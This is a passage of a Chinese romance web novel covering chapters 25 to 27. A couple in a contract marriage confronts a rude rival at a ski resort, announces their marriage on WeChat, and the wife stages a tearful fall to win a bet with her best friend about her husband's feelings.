骆璟懒洋洋站在郑满栀的身边,看着季斯舟可以光明正大地搂着明遥的腰就觉得刺眼又扎心,开口道:“咱遥遥妹妹和斯舟感情可真好,刚才一口一个我老公,听着可甜了。”
结果,另外几人的目光全落到了骆璟的身上。
郑满栀啧一声,视线在季斯舟和骆璟之间互相比较,叹口气说,“人还是不要和人比较,差距大真的很输啊。”
骆璟:“!!!你在说什么!!”他就是这么容易被这个女人击倒!他!一定会去找到好军师的!
季斯舟提议:“去休息一下?”
“明遥还没滑。”郑满栀牵住了明遥的手,把她带离了季斯舟的怀抱:“来,玩几圈。”
暖意转瞬即逝,季斯舟若无其事地收了自己的手。
他是下了会议过来的。并没有换滑雪服,他没动,只是温和地看着明遥:“去玩吧。”
明遥道:“你要不要换了衣服一起去玩,在这杵着不无聊吗。”
“不无聊,我会在这里帮你们做记录,讨好你的娘家人。”季斯舟拿出了自己的手机,“我太太把我夸的那么好,作为一个称职的丈夫,现在不该离开。”
明遥:“!!!”
这男人果然听见了!他听见了多少啊!
刚才说的那些,全部都是用来哄郑满栀放心的……当着季斯舟的面又不能说出来,明遥见不得季斯舟那模样,索性往郑满栀的身边站,不明白自己心底涌出来的是什么情绪。
……难道是尴尬?她夸他,她自己尴尬什么?
季见宜又出声把人都叫住:“等下,刚刚满栀提醒了我,你作为一个称职的丈夫,确实还有一件事没做。”
“还没官宣吧?”
这件事季斯舟老早就想做,但知道应该征询明遥的意见,现在正是个好机会,他问明遥:“你觉得呢?”
明遥点头表示自己没意见。
她之间没和季斯舟提,是因为怕到时候离婚了季斯舟还要回头去删麻烦,季家的影响力这么大。
在这段关系里,季斯舟主动提起,她就会配合,没有说的事情,她不会主动去做的。
但有一个问题……明遥不想被季见宜和郑满栀听见,于是挨到季斯舟的耳边问:“你就一个微信吗?”
季斯舟的捏着手机的指腹一紧,低声:“是。”
懂了。
那他的生意伙伴全在这一个微信里。
成功人士的朋友圈需要经营,所以季斯舟发布和自己的官宣照片,也有助于他在外的形象稳固。
明遥点头:“好,那一会儿拍。”
季斯舟点头:“去玩吧,滑的时候小心点,我来给你拍照,等拍完后选你喜欢的发。”
“好。”明遥在心里嘀咕,没想到季斯舟这人还挺上道。
而明遥和季斯舟说悄悄话的动作,全部都落入了郑满栀的眼底。她等两人交代完,立刻踩着单板和明遥滑到远处。
“你和季斯舟到底怎么回事啊!你和他来真的?”
呼啸的寒风拂过自己的脸颊,明遥滑的很快,她没分神,聚精会神。偶尔她会看向季斯舟那边,季斯舟用手机对准了她,明遥停下来搂着郑满栀,对着镜头开始微笑。
“说话呀宝,你是不是都好了?”郑满栀急死了,“是因为他所以好了吗?如果真是这样,那我支持你们。”
她知道明遥的情况,一个拒绝进入亲密关系的人现在愿意结婚,那肯定是真爱了。
明遥开始进入初级道,在平缓的地方停下,简单扼要地告诉了郑满栀自己和季斯舟这段时间的事情。
郑满栀:……
郑满栀听完之后竟然第一反应是雪也不滑了,就沉默地看着她。
“怎么了?”
“我就说你为什么能接受和他结婚,原来是假的。”郑满栀心情复杂,“我一下不知道该怜悯谁。”
“季斯舟怎么想的,他居然也同意。”郑满栀觉得奇怪的就在这里。
——怎么会有人在听到绝不动心这个条件之后还能同意的,虽然是商业联姻,但这可不是能给他们儿戏胡闹的家庭。
季家怎么会纵容?
“一个被家里买一送一的孙子,像是硬塞给你的,我怎么觉得这么奇怪呢……”郑满栀沉思半晌,“你们睡了吗?”
明遥笑起来,像听见了什么可爱的话:“小满,我们是假夫妻,合作伙伴而已。”
除了在昨天她的梦里。
“见宜说你们是一个房间的。”郑满栀狐疑地看着明遥,见明遥没否认,那一个房间肯定是真话,等等?
“睡一个房间了他都没有和你睡,他忍得住?他怎么忍得住的?!他是不是不行,所以季爷爷才这么着急把他嫁给你?你说清楚,说清楚,男人不行还是要不得的!”
明遥再快的思维都跟不上郑满栀的跳脱,她的速度放缓,太阳穴突突地跳,还好她们已经离得远,这话不会被季斯舟本人知晓。
“不是你想的这样!小声些,小满,我和季斯舟之间没有睡一张床的可能,我们分开睡的。”明遥堵住了她还要询问的念头。
“这些在我面前讲讲还可以,别被别人听见,我们今天是来说正事的。”明遥也不说虚的,“你的代理权给我?保证让你的作品物有所值。”
“你心里就只想着工作!那代理权不给你,我给谁?我至于这样费心思见你哦。”郑满栀怪是怪她,追上明遥后说,“以后不要什么事情都不和我商量,不然我再也不认你这个朋友了,知不知道?”
“好,知道啦。”明遥打开镜片,眼睛弯弯的笑起来。
雪场天寒地冻,但她的心很温暖。
拿下郑满栀的作品,代表着她正式保住了自己的部门。
明遥正想和郑满栀继续往回滑,有一个人忽然从边上冲了出来。
板下的方向,一个才刚开始学习的小女孩正慢慢地往外挪动滑动,冲撞过来的人无法改变方位,直直地对着小女孩冲了过去。
“你别!”
郑满栀立刻出声,但下一秒就看见明遥滑了出去,她怕明遥自己也受伤,只能赶紧喊:
“护目镜!戴好你的护目镜!”
明遥没想那么多,冲过去就搂住那个小女孩,急速地滑出一个漂亮地回旋。
小女孩的滑雪杖脱手掉在了雪地里。
原地,那个失控冲过来的人落在地上,还被雪仗戳到了小腿,发出哎哟一声呻吟。
事情发生的太快。
但那人起身,摘了护目镜之后便指着护住孩子的明遥道:“你怎么带孩子的?这地方有护栏,雪仗也不收是故意等着人来摔跤啊!”
那人鹅蛋脸,有一双细长温婉的眼睛。
古典风的美人,嘴巴却半点不饶人。身上装备防护得当,应该没摔到哪里,却有自己摔到全是明遥责任的怒气。
明遥今天心情好
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,还见到了自己的好朋友,不是很想让自己的快乐被破坏,她顾着去看怀中的小孩儿有没有受伤,对面又出声了。
“你必须让你孩子给我道歉!”梁今越皱眉道,“你知道我这板值多少钱么,压着你也是轻的!你躲,躲哪儿去?!”
明遥带着护目镜,并没有摘下来。对面的人不知道她是谁,她也不知道对面是谁。但是看这个语气——
明遥低头看了看板,上面有个签名。
哦,好像真的是那种古董板。很贵的那种。
带联名涂鸦。
明遥看出来这是好货,于是说:“确实贵啊。”
看到她的若有所思,梁今越知道是对方认出了自己这块板子的名贵,得意道:“那肯定,你们这些乡巴佬,也不知道怎么能带上这种小孩来我们这里滑雪,这可不是你们来的地方,你要是碰着我的板了,赔得起么?!”
“还有这种赚钱办法的吗?”明遥笑了,“我也想要,你考虑售出估价的话可以联系我,我能帮你出个好价。”
而此时,郑满栀也滑了过来,她惊得来不及发脾气,明遥居然没有生气!这模样,怎么和季斯舟那有几分相似?谁这么胆大包天居然敢对明大小姐大呼小叫,郑满栀对着季见宜那边挥手,招呼人过来。
不要命了。
“呵,胆大包天,你谁啊你!”梁今越被明遥气得要跳脚了,也不知道这哪来的人这么离谱,又看到那个害她摔了跤的小孩,在说话的时候挥动自己的滑雪杖。
“喂!你说话就说话!”郑满栀大喊,冲上前来制止。
小女孩被雪仗吓到,往后瑟缩了一下,躲进明遥的怀里。
明遥把孩子往自己的怀里抱了一下,侧了侧身体。
从另一个角度看过去,就像是梁今越拿着滑雪杖准备打人,而明遥抱着孩子往后瑟缩要躲,可怜兮兮的模样。
所以,梁今越的滑雪杖还没来得及放下的时候,就被人一手握住。
那手修长而洁净,有着漂亮的青筋,又秀气又有力量感。
此刻正紧紧握在黑色的滑雪杖上,怒火似乎一触即发。
“你在胡闹什么?”
梁今越在季斯舟过来的一瞬间被男人身上的气场震得错愕在原地,但是但很快,她立马像是看见救星一般,松开手,然后对着季斯舟撒娇。
手指往明遥那一指:“舟哥,是她先招惹我的!她带着她女儿搞烂我的板子。”
季斯舟的脸色还不好看,他不想搭理梁今越的话,只是教养让他现在没有即刻发作,皱眉将雪仗放到梁今越的手里,低头去看明遥有没有受伤。
明遥对他微微摇头。
他好像看到明遥笑了。
郑满栀后撤了一步:“……小狐狸一笑,没好事。”
这话季斯舟听见了,他接收到明遥让自己先不要开口的信号,抿唇不语。
明遥问梁今越:“你认识他?”
梁今越得意道:“当然会,这是我准姐夫。你知道他是谁吗?就你这样的人也敢和我叫板,等着被赶出去吧。”
郑满栀浮夸道:“哇哦。”
梁今越越说越起劲,因为季斯舟没开口,她认为这是一种默认。
“我姐大学的时候就和我姐夫被大家说成是天造地设的一双。别太羡慕,你羡慕不来。”
季斯舟的黑眸望向明遥——在问明遥到底在玩什么,还需要自己配合多久?怎么还不许自己讲话?
明遥这才摘下了自己的护目镜。
梁今越在看见明遥的那双眼睛时,所有得意的表情都化为了无形。
豪门上流圈里混的,可以没见过明遥,但没有不知道明遥那张脸的,尤其是在和季斯舟结婚之后,明遥也是所有人热情讨论的对象。
明遥微笑地看着梁今越,伸手挽过季斯舟,将人拉到自己旁侧来,声音腻的像是在蜜罐里泡过。
“老公,”明遥的唇角上扬,手指却在季斯舟的臂弯悄悄使劲,“怎么也没和我介绍过你另一位准太太?”
25. 第 25 章
季斯舟被她这声老公叫的头脑发昏,娇的很,他从来没见过的明遥的样子。很新奇,也很可爱,季斯舟听得出来明遥是故意这样,但这幅样子叫明遥做出来,就是一点也不违和,反而增加了她的娇俏可爱。
还想再听她这么叫一声,很想。
莫名的妄念在季斯舟的心头升起,他唾弃自己的卑鄙。这份隐藏在心里的秘密,终究在一声一声的老公中快要按捺不住地浮出水面。
季见宜也已经赶来,见到气的脸都涨红的女人,皱眉,语气不悦:“梁今越?之前只是以为你脾气大一些,怎么现在还到打人了,谢家就是这样教你的?”
梁今越被季见宜的话堵的难受,却完全不敢反驳。季见宜的话是知道戳人的,哪怕梁今越自小在谢家长大,但始终知道自己和真正的谢家大小姐差了个壁。
再怎样的狐假虎威,终究是依仗着别人。
“不如把你姐叫来对峙一下,好不好。”明遥玩的起劲,见季斯舟脸上写满了纵容,底气十足,轻飘飘说,“我怕我嫁给了一个犯重婚罪的男人。”
梁今越的脸白了红,红了白,最终发黑,温婉的表情浑然不在。
“舟哥哥!你怎么能就这样由着她乱讲胡闹!”
季斯舟在看向明遥的时候,那表情竟然出乎意料地柔和下去,“我不希望太太误会我。”
明遥的笑意加深,那张脸也近在咫尺。
“你,你,你……”
梁今越当然知道这是谁,这张脸昨晚上还把她姐气得够呛,她更不会承认,明遥的骨相优越,曾经有不少人拿着她的同款想也同款的轮廓……
明遥倒一点没受影响,也没有生气,说出自己最终的目的:“你的板子很有价值,可以来找我做一下藏品的价值评估。”
郑满栀:“你工作狂啊,这个时候你还要想着你的代理权。”
明遥笑眯眯:“我只是不错失任何一个潜在客户。”
在她怀里的小女孩忽然笑着指向季斯舟说:“姐姐,这个叔叔家里好多藏品!你找他呀!”
差辈儿了,明遥想,怎么叫她姐姐,叫季斯舟叔叔?那她要交季斯舟什么?
小女孩儿又指着梁今越,糯声糯气地说:“是她先骂我和明遥姐姐的,斯舟叔叔,她和她姐姐都喜欢你,你不要上当啦!”
梁今越咬牙切齿:“童言无忌。”
明遥这才知道这小女孩儿似乎认识季斯舟,周同在季斯舟的示意下过来,“卷卷小姐,你父母在找了,先和我过去。”
小卷卷蹦蹦跳跳的和周同走了,季斯舟失笑,和明遥站在一起,耳边低语:“我一个英年早婚的朋友的孩子,所以叫我叔叔,她应该喊你婶婶。”
明遥:“哟,我还以为你们都晚婚。”
两人之间的氛围浓稠,旁人都进不去,梁今越看的恼火,想开口说话,偏偏季见宜使了眼神给她——还不快走?
梁今越受了气,哪有这么容易走,她对明遥说:“你想要我的这块板子,我是不会给你的,你还想开什么藏品评估……等着倒闭吧!”
“哦。”明遥前脚应了,转头就挽住了季斯舟的手臂,“老公,我想要这快板子。”
明遥从来不喜欢被人强压一头,她与季斯舟结了婚,在外面季斯舟本就该维护她的脸面,所以明遥这时候用起季斯舟这个便宜老公来落落大方。
季斯舟笑了:“你想不想要一块更好的?”
明遥:“好!”
她扫了一眼梁今越,“请从正规渠道给我。”
“你放心,合法合规。”
听到这句话的梁今越脸色白了一下,不可能,不可能的……这是怎么被发现的?
这块板子的信息都查得到,就算真的出了事,还有她姐给她做担保呢,她用得着怕什么呀?梁今越这样一想,心才定下来。
但毕竟心虚,梁今越至此待不下去了,急匆匆拿着自己的滑雪板离开。
“要过段时间才能从英国那边寄过来。”季斯舟说,“等寄过来了,再一起来滑雪?”
“啊?”明遥万万没想到季斯舟来真的,“行啊,你玩吗。”
季斯舟:“我看你玩。”
“?”郑满栀和不理解,“几千万的板你们夫妻俩用来做情趣是吧。”
骆璟:“你要?你要的话我带你去玩儿呗,我知道另外一个滑雪场也不错,还能有古董板。”
终于找到机会实践军师帖子了,他记得,上面写着要记得投其所好的送礼物。
郑满栀:“脆皮,谁和你玩啊~没人和你玩啊~”
骆璟:……那个军师的帖子不准一点也不准!完全对这女人没有用啊!
回去的路上,明遥说季斯舟:“刚才那个人是谁的妹妹?”她猜想,是自己认识的人。
前面两个来挑衅的,方意见到过了,还有一个方意口中的……谁来着,谢庭笙。
季斯舟噎了一下,忽然不知道该怎么开口。他前几天晚上才和明遥保障,不管怎么样,都不会有人舞到她的面前。
结果——
“谢庭笙的表妹,”季斯舟不会骗明遥,还是诚实回答了,“我和谢家除了是生意伙伴,没有别的关系。”
明遥:“嗯,可以。”
季见宜对自己这个对恋爱一窍不通的弟弟恨铁不成钢,她推季斯舟上去:“去啊!之前你不是拍了很多照片吗?”
季斯舟这才将手机地给明遥,给她看自己拍摄的静态照片。
明遥翻来翻去看了两遍,心情很复杂地看着季斯舟。
季斯舟:“……不喜欢?”
“没有,很喜欢,你都发我。”明遥道,“就是心情很复杂,拍的这么好看,居然没有一张丑的,骂不出来了。”
季斯舟唇边有小小的弧度:“喜欢的话以后我就多拍。”
明遥想到今天郑满栀给自己拍的那些东西,都是些什么?那还能称之为照片吗?她甚至分不清自己和阴影长得有什么区别。
一对比,高下立判。
季见宜说:“你还是早一点把官宣的朋友圈发了把,不然,还是有很多人不知道你身边的人到底是谁。”
季斯舟沉吟:“明遥,来选一下。”
他修长的手指开始在手机屏幕上规律的滑动,每选择一张照片,他都会问一下明遥喜不喜欢。
明遥如果喜欢的话。他才会选择。
后来选来选去,选了九张图。
季斯舟还想要继续选,明遥说:“朋友圈只能发九张图。”
季斯舟:“不是可以拼图吗?”
明遥斟酌了一下,不知道怎么和季
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斯舟表达,她觉得自己和季斯舟还没有多要秀恩爱到九宫格装不下的地步。
而且季斯舟选的全是自己的照片,要放在别人角度来看,妥妥的一个炫妻。
季见宜说:“不是啊。你们官宣的话,都没有一个合照的吗?我给你们找了个模板。”
那个模板是骆璟不知道哪一任的前女友发的,刚好也在季见宜的朋友圈里,干脆就拿来看,骆璟的脸都绿了。
你小子谈个恋爱追个老婆,永远都让你的兄弟这么汗流浃背的吗?
“这是我们骆璟少爷历任里面最会、发照片秀恩爱的一个,所以我们后来把他们这些都当成了模版,后来这个姑娘还去当了情侣博主,上回在国外活动碰见过一次。”
季见宜开始指定照片。
牵手的,合照的。
“起码这两张,你们两个得有一张啊,一张都没有,一会儿别人又说。”
模版要求很多,毕竟就是发给别人看的,明遥觉得季斯舟这种平常连一张照片都懒得拍的人应该很难配合。
季斯舟却说:“如果明遥觉得没问题的话,我也可以。”
“那……那拍吧。”明遥第一次感觉自己是被人围观的拍照,还好她不怯场。
她把自己的姿势站好,然后轻轻靠在季斯舟的身上。
季见宜说:“你搂着点自己的太太啊,怎么回事啊季斯舟,你在明遥的身边尴尬脸红什么呢?”
季斯舟道:“没有。”
“没有你就照做。”
季斯舟只好朝明遥靠近,一只手轻轻靠在明遥的后腰,没有贴上去。
他的另一只手则拿着手机打开自拍,明遥来捏着他的手设置好参数和角度,镜头定格的那一瞬间,季斯舟脸上的笑容稍纵即逝,刚好被镜头精准的捕捉。
她微微靠着的肩头,季斯舟也配合着侧头弯下,垂眸,两人在一个镜头里意外的和谐。
接下来拍牵手照。
她以为季斯舟会不好意思,没想到季斯舟对着她摊开了手。
在明遥把手放上去的时候,他将明遥的手扣住,指腹轻轻压在她的掌背,带着不容置疑的强势。
明遥愣住。
手指也随后按下了拍照键。
九宫格系列终于拍好,因为有了自拍的加入和牵手照,而显得更为真实,并且贴近生活。
发完后,季斯舟的朋友圈炸了。
【1:你!你是活人吗?】
【2:我没看错吧,季斯舟秀恩爱了?】
【3:老孔雀开始开屏是真可怕,你污染了我的朋友圈,再也不是我兄弟了】
【4:我儿媳妇就是漂亮,你怎么还不把我们遥遥拉到群里来】
【5:恭喜恭喜!百年好合!下周同学聚会就等着你们过来了!】
季斯舟这朋友圈一发,没多久就有一百多个赞了,看都看不过来。
她才发现和季斯舟之间有很多共同好友,有几个以前在酒局上见过的都评论了。
还有何勉班长。
明遥叹口气。怎么感觉自己上当了呢?有一种季斯舟是故意的错觉,就季斯舟拉自己手的那一个动作,明遥发现了,季斯舟可不是那种真正温和的人。
他是侵略者。
就看他自己想不想要这样做罢了。
26. 第 26 章
季斯舟发了朋友圈,但没有要求明遥也发,不过明遥把季斯舟手机里拍摄的那些照片都要了过去。
她晚上再发。
她指着那张自己和季斯舟的自拍:“我晚上就发这个和结婚证的照片,行不行?”
季斯舟看一眼,似乎不太在意:“看你的意思,就发你自己玩的也可以。”
明遥笑了笑:“那不行,我要礼尚往来,晚点拍了结婚证之后发。”
季斯舟刚收起手机,骆璟在后头对着跑到远处的郑满栀喊:“你别以为你现在长大了就不叫我哥了,郑满栀,不准你没大没小的!”
季斯舟的视线在郑满栀的身上一扫而过,忽然就懂了什么。
骆璟一直找自己要军师就是因为这姑娘吧?
明遥此时的心情和季斯舟出奇同步,她嗅到了八卦的意味,立马看向郑满栀。
郑满栀嗤了声:“谁爱喊你哥了,以前都是你逼着我喊你的,现在长大了我不会叫了。我只会喊你哥叫哥,不会喊你。”
骆璟气的一下没说出话。
骆璟的哥……又关骆宥延什么事了,明遥的cpu要烧了,这是什么乱七八糟的关系?
郑满栀懒得和骆璟聊天,刚才没玩尽兴,她又拉着明遥再去走两圈,季斯舟下意识要跟过去,骆璟把人给拉住了:“人家闺蜜之间说悄悄话,你跟过去干什么啊?过来,滑几圈啊?”
季斯舟道:“没空。”
骆璟:“……这么重色轻友不好吧?我告诉你,郑满栀是明遥的闺蜜,就是她娘家人,你要是想要好的印象分,今天就好好做。”
季斯舟停住了脚步,到底是没有继续跟过去。
郑满栀和明遥继续滑,一边聊天。
“还官宣!别说,看不出来季斯舟的照片,拍的还挺不错。可是我记得之前我们在饭局上看到他的时候,你说过绝对不和这种古板的人结婚。”
明遥:“稀里糊涂的事情,但是……也不至于吃亏。”
她这话说的可不假,看今天这架势就知道,季斯舟在外面维护起她来比自己还上心。
郑满栀点头:“有协议在,他是奈何不了你。”
但又想想,郑满栀忽然眼睛一亮:“等等,你要是能让季斯舟承认对你动心,你顺理成章地和他离婚,拿他一半家产,那股份在那里,你再去把明家收回来,不就可以了?”
明遥立马回头看,发现季斯舟没往这边看,才放下心。
“以后别打这个主意。”明遥的一缕头发在帽子后面,她轻轻地拂过,郑满栀才意识到了什么,到她的耳边惊呼:“遥遥,这不像是你的行事风格!这么好的办法你不用,难不成是因为——”
她瞪大了眼睛,在明遥的耳边说:“你怕自己会动心?”
明遥的动作怔住了,她摇头,失笑:“怎么可能?你又不知道我,我接受不了这种长期亲密关系。”
而甘佳君也因此用这个拿捏了她许久。
郑满栀欲言又止,最后道:“那你不用这办法。”
明遥:“季斯舟和其他人都不同,他先前并非家里定下的继承人,却在接受季氏之后迅速地坐稳了这个位置,你以为他是善茬吗?他是个完美的商人,知道和我合作是最好的办法。”
“我和他玩心眼,怕最后自己什么都不剩,还不如就走完这个合约,安安分分的,我也能得到我想得到的。”
郑满栀看了一眼远处的两个男人。
两个人都很出众,而季斯舟身着正装在雪地里,自有自己的气场。很多人都在往那边看,季斯舟不知在和骆璟说些什么,在说话的时候,还会时不时地往这边看一眼。
那一眼是在看谁,自然不言而喻。
虽然明遥肯定两人只是合作关系,但郑满栀却感不一定。
一个男人看女人的眼神、看合作伙伴的眼神、和看喜欢的女人的眼神截然不同。
那一眼,不像是单纯的合作伙伴关系。
只怕就是明遥说的那样——
这男人背地里是个老狐狸,他要是真想将明遥吃干抹净,那明遥一定不能全身而退。
郑满栀思考了一下那个后果,觉得确实难以承受。
她叹了口气。
但是除了这个原因之外,如果两人真的可以成为夫妻,那当然是美事一桩。如果季斯舟只是因为喜欢明遥,而不是因为要设计明遥,那这就是一件鼎鼎的好事,只要明遥将思想转变过来就好。
“明遥,你有没有想过一个可能。”郑满栀来到明遥的身边,“如果你的这个弱点再也不是你的弱点,你就再也不会被甘佳君拿捏了。”
“走出去,相信你自己可以做到。”
明遥轻轻地摇头,笑起来时阳光落入眼底:“我做不到自己认知里明白自己做不到的事。”
“不,你只是因为不够相信你自己。”郑满栀忽然想到了什么,“都没有去尝试,为什么就觉得自己不行呢?”
明遥跃过一个缓冲坡道,流畅优雅的下颌线一闪而过:“我在国外尝试的还少吗?”
她的声音平淡的听不出什么情绪,这是在许多次尝试又失败之后才变得平静的结果。
“你在国外只是date,不是结婚!而且人不一样,结果也会不同。我不是季斯舟的说客,更不是为了谁,我只是为了你。因为这个人和你结婚了,有了这一层关系在,我才觉得有可能会和之前的结果不一样。”
郑满栀真心劝她,有段时间明遥特别茫然,郑满栀一直陪着她喝酒,听过明遥倾吐过许多柔软的小秘密,知道明遥很多时候的坚强只是她自己构筑的一层铠甲。
至于国内圈子里盛传明遥换男朋友换的如衣服一样,全是放屁。要说前任,满打满算也只有那一个罢了。
明遥似乎笑了一声:“你觉得季斯舟不会惊讶?”
“就算他惊讶,不接受又怎么样,你们最终还有一个合作伙伴的关系在。有这个协议,你也不用担心他在外面乱讲你什么,你们之间互相有拿捏的地方,互相制约,还能继续走完这个合约期。”
“再说了,你已经和他相处这么久,你这么通透,不可能还一点也摸不到季斯舟的性格和为人吗?”
如果要明遥说实话的话……
实话就是,虽然已经有了一个多月相处时间,但是明遥并不觉得自己够了解季斯舟。
淡漠矜贵、高高在上仍旧是打在季斯舟表面上的标签。
但这样的人会下厨,会在适当的时候给予自己需要的帮助,也给了空间和尊重。
这个人,可能是面冷心热。
但豪赌的失败可能性太大了。
明遥雪板的素淡慢下来,她又笑了笑:“我信不起。”
郑满栀提供了一个好的思路,如果自己真的能够治愈自己的弱点,那以后她都不需要再惧怕什么。
和季斯舟谈恋爱?明遥没想过。
别说没想过,就算是心里想一想,明遥都要感觉自己是在做梦。
还有一点也说的对,季斯舟为人正派严谨又循规蹈矩,用现在网上的话来说就是生活得像个老干部。明遥从来不会为这类古板的男人动心。
“不如咱俩做个小实验,看看季斯舟会不会喜欢你。”郑满栀眨了眨眼睛,看着很俏皮。
“郑满栀,别胡闹!”明遥急促地制止,她知道郑满栀的鬼点子多,“不要用这么虚无的东西来毁了我和季斯舟之间坚固的战友情。”
“只是测试而已,你不会怕他喜欢你吧?再说了,他喜欢你是正常的,代表他还没瞎!你要是真测出来他喜欢你,他就是违约。”
“不管怎么样,赢的都是你。”
郑满栀跟上她,慢悠悠道:“还是你舍不得了?”
明遥:“发现你在外面混久了是真觉得没人能治得了你了……”
郑满栀对着明遥神秘一笑,在她的耳边告诉她要怎么做,“就这样,我们就打这个赌。”
明遥听得直摇头:“胡闹……”
郑满栀:“没胡闹,这事情对你来说小事一桩。他如果聪明,自然看的出来你是故意的。如果他在看透你是故意的之后,还能如一
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,那他起码是个好男人,是你以后可以绝对信任的合作伙伴。”
郑满栀说的最后一点打动了明遥,她点头。
远处,季斯舟还在被骆璟拉住闲扯。
“你最好去换个滑雪服过来,不然你在雪地上走的也不得劲啊。”骆璟说,“你看她俩玩那么开心,应该还要好一会儿吧,你就和我在这儿傻站着?”
季斯舟暂时没有搭理他的意思。
骆璟友情和爱情都不得劲,气得望天:“是不是该降雪了?”
“还早。”
季斯舟仰头看向天空,应该是刚降过雪,降雪车走了没多久,在不远处打开的一道橘红护栏内,降雪机的巨大车轮印浅浅地覆盖在上面。
季斯舟有些心不在焉。
他也不觉得冷,一点也没有。很少有这种什么都不用做,就站着的体验。尤其是他的视线尽头,是明遥。
以前他在梦里想过多少次的场景?就这样实现了。
骆璟在自己的耳边说了什么东西,听不太清楚,也不想去听,对他来说一点也不重要。
直到他看到明遥一下倒在了雪地里,揭开了护目镜,郑满栀满脸着急地对这边挥手。
“摔着了!你们快过来!”
清楚地听见了这句话的季斯舟的心一下揪了起来,他不顾其他,大步朝明遥走去。
到了明遥的面前,季斯舟才发现明遥的眼眶和鼻头都是红的,似乎是哭了。
他愣了片刻,脚步也随之停顿,又明显加快,急速地来到明遥的面前。
“怎么了?”
明遥没说话,盯着他,眼睛里全是水光,有一滴眼泪似落未落。
坐在雪地里的她有种破碎的漂亮,不知是触及了什么伤心事。
季斯舟从没见过明遥哭,他没想过会是这场面,慌了神。
“你别管,你别管。她以前在外面也会这样,有时候就坐在地上说不开心,”郑满栀反而推开季斯舟,要去拉明遥,“她没哭,这是冻的。”
骆璟也赶过来:“怎么着了啊?瑶妹妹这是哭了?!”他锤了季斯舟肩膀一下,还愣着干什么兄弟?去啊!
但郑满栀挡在了跟前。
“你说说她这不离谱吗,说耳钉掉了,要看雪。”郑满栀无奈道,“还好滑雪服是防水的,不碍她躺雪地里,不然你屁股早就湿了该起来了。”
季斯舟皱眉。
明遥和他对望,鼻头和眼尾都泛着水光潋滟的红。
她吸了吸鼻子,清润的声线中已经染上鼻音:“季斯舟,我耳环掉了。”
明遥不愿意起来,季斯舟便蹲在明遥的面前:“什么样的?”
在他问起时,明遥那颗要掉不掉的眼泪精准的落了下来,蹭的唇上一片晶莹,季斯舟的视线也跟随着她的这颗眼泪移动到唇上。
他的手指微微屈起,像是要为她擦去唇上残余的泪珠,但最后没有抬上来。
明遥道:“是蓝色的,外面有一圈宝石,水滴状,是古董。”
“好,我帮你找,你要不要先起来?”季斯舟没有纸巾,只有西服口袋上的绅士巾,他抽出来给明遥擦眼泪,力气很轻。
如果不是刚才季斯舟答应的那句话,郑满栀应该会直呼好甜然后给两人拍照。
但是,偏偏。
郑满栀在后边皱着眉,一点都看不出开心的样子,甚至掐着骆璟的胳膊。
骆璟完全不知道发生什么了,敢怒又不敢言,觉得郑满栀的心情很坏。
明遥还没起来:“我还想看雪。”
骆璟:“你怎么了遥妹?虽然现在我们在滑雪场,但是季斯舟刚刚说……”
季斯舟接了他的话,但漆黑的眼眸始终注视着明遥:“还没到降雪的时候。”
“也是,”明遥忽然笑了,她不知道季斯舟是不是看出了什么,搭着季斯舟的手站了起来。
她抖了抖身上的雪,眼睛还是红的,但声音已经没了那委屈的哭腔。她和季斯舟走在一起,在经过郑满栀的时候低声说:“小满,看到没有?我赢了。”
27. 第 27 章
外面的雪花还在落下,这突如其来的降雪犹如天赐的浪漫,也挥挥洒洒了围观的人一身。
滑雪的小情侣们兴奋地在大雪下转转圈,让自己的恋人为自己拍照留念。
漫天的大雪是人造的,但浪漫是真实的。
明遥出神地看着,温热的呼吸在透明的玻璃上晕出薄薄的雾气。
“喜欢吗?”季斯舟和她的停顿一并停顿,“要是不喜欢,那就……”
明遥说:“季斯舟,你为什么没给我擦眼泪,因为也看出来我的眼泪也是假的?”
季斯舟说:“没有。”他顿了顿,声音染上意思歉意,“因为第一次见到你这样哭,我那一瞬间紧张了。”
“等回过神后,你就起来走了,所以我没办法……如果有下次,我肯定会给你擦掉眼泪,但是我更像让你以后不要再有哭的事情。”
明遥觉得自己的心也和这些大雪一样,这些雪花一样,在一片一片的融化。
她呼出一口气,又呼出一口气。
“季斯舟。”明遥轻轻地说,“你让我输了。”
不过,她输的心服口服。
“嗯?”
明遥却不说话,轻声说:“一会儿再说,我给小满回个电话去。”
虽然季斯舟不知道怎么明遥忽然要在这个气氛很好的时候去和郑满栀打电话,但是他尊重了明遥。
此刻,明遥知道,郑满栀当时说那句话是说对了。
在自己面前献殷勤的人那么多,可以选择赌的人也很好,当时凭什么就同意了季家的婚约?
从外界来看,似乎明遥选择的是地位。
甚至连她自己也只是到这个时候才意识到:她只会被真心所折服。
季斯舟那时候的靠近没有锋芒,温柔的像是救世主,明遥需要承认,季斯舟那次为她盖住的西装外套,非常的温暖,从身体到心。
“我赢了!我赢了!我赢了!”郑满栀兴奋地大叫,她第一时间给明遥打来了电话,那边还有大口喘息的声音,郑满栀跑出去了。
“是,你赢了。”明遥打开窗户,冷气惯进了温暖的房间,她裹着毛毯伸手去拿那一片片的雪花,“我输了。”
“愿赌服输吗?”郑满栀在那边大喊,“你输了!你就要按照我说的做!反正现在只有这么点的时间,你应该也不在意的是不是?”
她和明遥赌,赌明遥坐在地上假装摔倒了,还要好委屈的掉眼泪,去告诉季斯舟自己想看一场雪,季斯舟会不会答应。
当时很明显,降雪机刚刚才走,为了节约成本,降雪机都不是连续作业的,时间和区域都有明确的划分。
而且哪有人在滑雪场摔了一下,就忽然说要看雪的?这个需求有些离谱,由明遥说出来,就看季斯舟愿不愿意为她做到。
明遥当时没觉得自己会赢,她觉得季斯舟并不是一个会跟着她胡闹的人,所以明遥说:“你不可能赢,季斯舟不会这么做的。”
赌约就此成立。
“如果他真的做到了,你就答应我,试着去了解一下季斯舟,不需要给他什么,就是承认他是你丈夫。”郑满栀说,“试试去挖掘一下季斯舟的另一面,不那么古板严肃无趣的那一面。”
“而你呢,别隐藏自己的魅力,也别压抑自己。”郑满栀说起这个一脸笑,“你知道季斯舟是多少人定下的梦中老公标准吗?”
千言万语的,就是让她别只把季斯舟当合作伙伴,而是真正站在自己身边的丈夫。
明遥:“就按之前我们说的做,了解他,可以。”
但是上床,算了。
季斯舟能为她这么做,明遥很有好感,但不代表欲望。
郑满栀也知道不能一次完成,明遥的防备心高,季斯舟任重道远,她想了想。
“做你的蛇蝎美人吧,利用好季斯舟,然后心情好的时候就给男人一点甜头,道德感,丢掉!不管不顾不受委屈,才是你明遥该过的日子。”郑满栀的赌约就是来为她打破这个枷锁的。
郑满栀兴奋不已,还在喋喋不休,说这是自己看见过的今年夏天最漂亮的一场雪。
